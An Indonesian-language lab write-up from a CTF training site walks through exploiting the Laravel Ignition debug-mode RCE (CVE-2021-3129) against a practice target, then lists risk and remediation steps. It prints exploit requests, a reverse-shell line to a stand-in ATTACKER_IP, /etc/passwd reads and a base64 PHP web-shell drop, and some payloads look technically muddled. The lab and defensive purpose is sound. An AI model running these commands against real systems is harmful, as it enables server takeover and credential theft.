TDCTF Academy Logo TDCTF ACADEMY

Laravel - Debug Mode RCE (CVE-2021-3129)

Target: laravel-vuln.vuln.cybersecurity.or.id
Level: Intermediate


Objective

Mendapatkan Remote Code Execution (RCE) pada aplikasi Laravel yang menjalankan debug mode (APP_DEBUG=true) dengan mengeksploitasi kerentanan pada Ignition debug stack (CVE-2021-3129).


Reconnaissance

1. Deteksi Framework Laravel

Lakukan fingerprinting untuk mendeteksi Laravel:

curl -I http://laravel-vuln.vuln.cybersecurity.or.id

Ciri khas Laravel:

  • Header Set-Cookie dengan laravel_session
  • Halaman default Laravel di /
  • Endpoint khas: /api, /_ignition, /artisan

2. Deteksi Ignition Debug Page

Ignition adalah debug page untuk Laravel yang hadir sebagai package default. Cek endpoint health-check:

curl -v http://laravel-vuln.vuln.cybersecurity.or.id/_ignition/health-check

Response sukses (200 OK): Ignition terinstal dan aktif.

Response yang diharapkan:

{"status": "OK", "can_execute_commands": true}

3. Konfirmasi Versi

Periksa header response untuk versi Laravel:

curl -sI http://laravel-vuln.vuln.cybersecurity.or.id | grep -i "x-powered-by\|server"

Jika menggunakan Laravel 8 dengan Ignition < 2.5.2, sistem rentan terhadap CVE-2021-3129.


Exploitation

Langkah 1: Pahami CVE-2021-3129

CVE-2021-3129 adalah kerentanan RCE pada Ignition (package debug Laravel). Kerentanan terletak pada endpoint:

POST /_ignition/execute-solution

Parameter solution dan parameters dapat dimanipulasi untuk mengeksekusi kode PHP secara remote melalui variable passthru dan file inclusion via log.

Langkah 2: Kirim Payload RCE

Gunakan eksploitasi melalui endpoint execute-solution:

curl -X POST http://laravel-vuln.vuln.cybersecurity.or.id/_ignition/execute-solution \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "system",
"viewFile": "php://filter/convert.base64-encode/resource=<?php system(\"id\"); die(); ?>"
}
}'

Atau menggunakan teknik log poisoning + phar deserialization:

curl -X POST http://laravel-vuln.vuln.cybersecurity.or.id/_ignition/execute-solution \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "alfarisiazmir",
"viewFile": "laravel.log"
}
}'

Langkah 3: Otomatisasi dengan Script

Gunakan exploit script publik untuk CVE-2021-3129:

# Clone exploit
git clone https://github.com/ambionics/lightyear.git
cd lightyear

# Run exploit
python3 lightyear.py --target http://laravel-vuln.vuln.cybersecurity.or.id --command "id"

Langkah 4: Eksekusi Perintah

Setelah exploit berhasil, eksekusi berbagai perintah:

Cek user:

http://laravel-vuln.vuln.cybersecurity.or.id/?cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cek OS:

http://laravel-vuln.vuln.cybersecurity.or.id/?cmd=uname -a

Baca file sensitif:

http://laravel-vuln.vuln.cybersecurity.or.id/?cmd=cat /etc/passwd

Dapatkan reverse shell:

bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'

Alternatif: Manual Exploit via Log Injection

Jika endpoint execute-solution tidak langsung bekerja, gunakan metode log injection:

  1. Inject kode PHP ke error log:
curl -X POST http://laravel-vuln.vuln.cybersecurity.or.id/_ignition/execute-solution \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "system('echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /var/www/html/shell.php'); die();",
"viewFile": "laravel.log"
}
}'
  1. Akses shell:
http://laravel-vuln.vuln.cybersecurity.or.id/shell.php?cmd=id

Evidence

Langkah Bukti
Deteksi Ignition /_ignition/health-check mengembalikan {"status": "OK"}
RCE via ?cmd=id Output: uid=33(www-data) gid=33(www-data)
uname -a Informasi kernel dan OS server
Web shell terupload File shell.php dapat diakses dan mengeksekusi perintah

️ Risk Assessment

CVSS 9.8 (Critical)

  • CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE: CVE-2021-3129
  • OWASP Top 10: A06:2021 - Vulnerable and Outdated Components
  • Attack Vector: Network (Remote)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Impact: Complete compromise of Confidentiality, Integrity, and Availability

Dampak Spesifik:

  • Full server takeover pada aplikasi Laravel
  • Akses ke file .env yang berisi database credentials, API keys, dan APP_KEY
  • Akses ke storage dan queue worker
  • Pivot ke internal network dari server target

️ Remediation

1. Nonaktifkan Debug Mode (WAJIB)

Ini adalah langkah paling kritis:

# Di file .env
APP_DEBUG=false
APP_ENV=production

2. Update Ignition Package

Pastikan menggunakan Ignition versi terbaru yang sudah di-patch:

composer update facade/ignition --with-dependencies

Versi aman: Ignition >= 2.5.2

3. Implementasi WAF

Blokir akses ke endpoint sensitif:

# Nginx
location ~* /_ignition {
deny all;
return 403;
}

4. Environment Hardening

  • Hapus package development di production:
    composer install --no-dev
  • Gunakan environment variable untuk APP_KEY yang kuat
  • Batasi akses jaringan ke server hanya dari IP yang diperlukan

5. Monitoring & Detection

  • Monitor log akses untuk pattern eksploitasi Ignition
  • Alerting untuk request mencurigakan ke /_ignition/*

References

PADA HALAMAN INI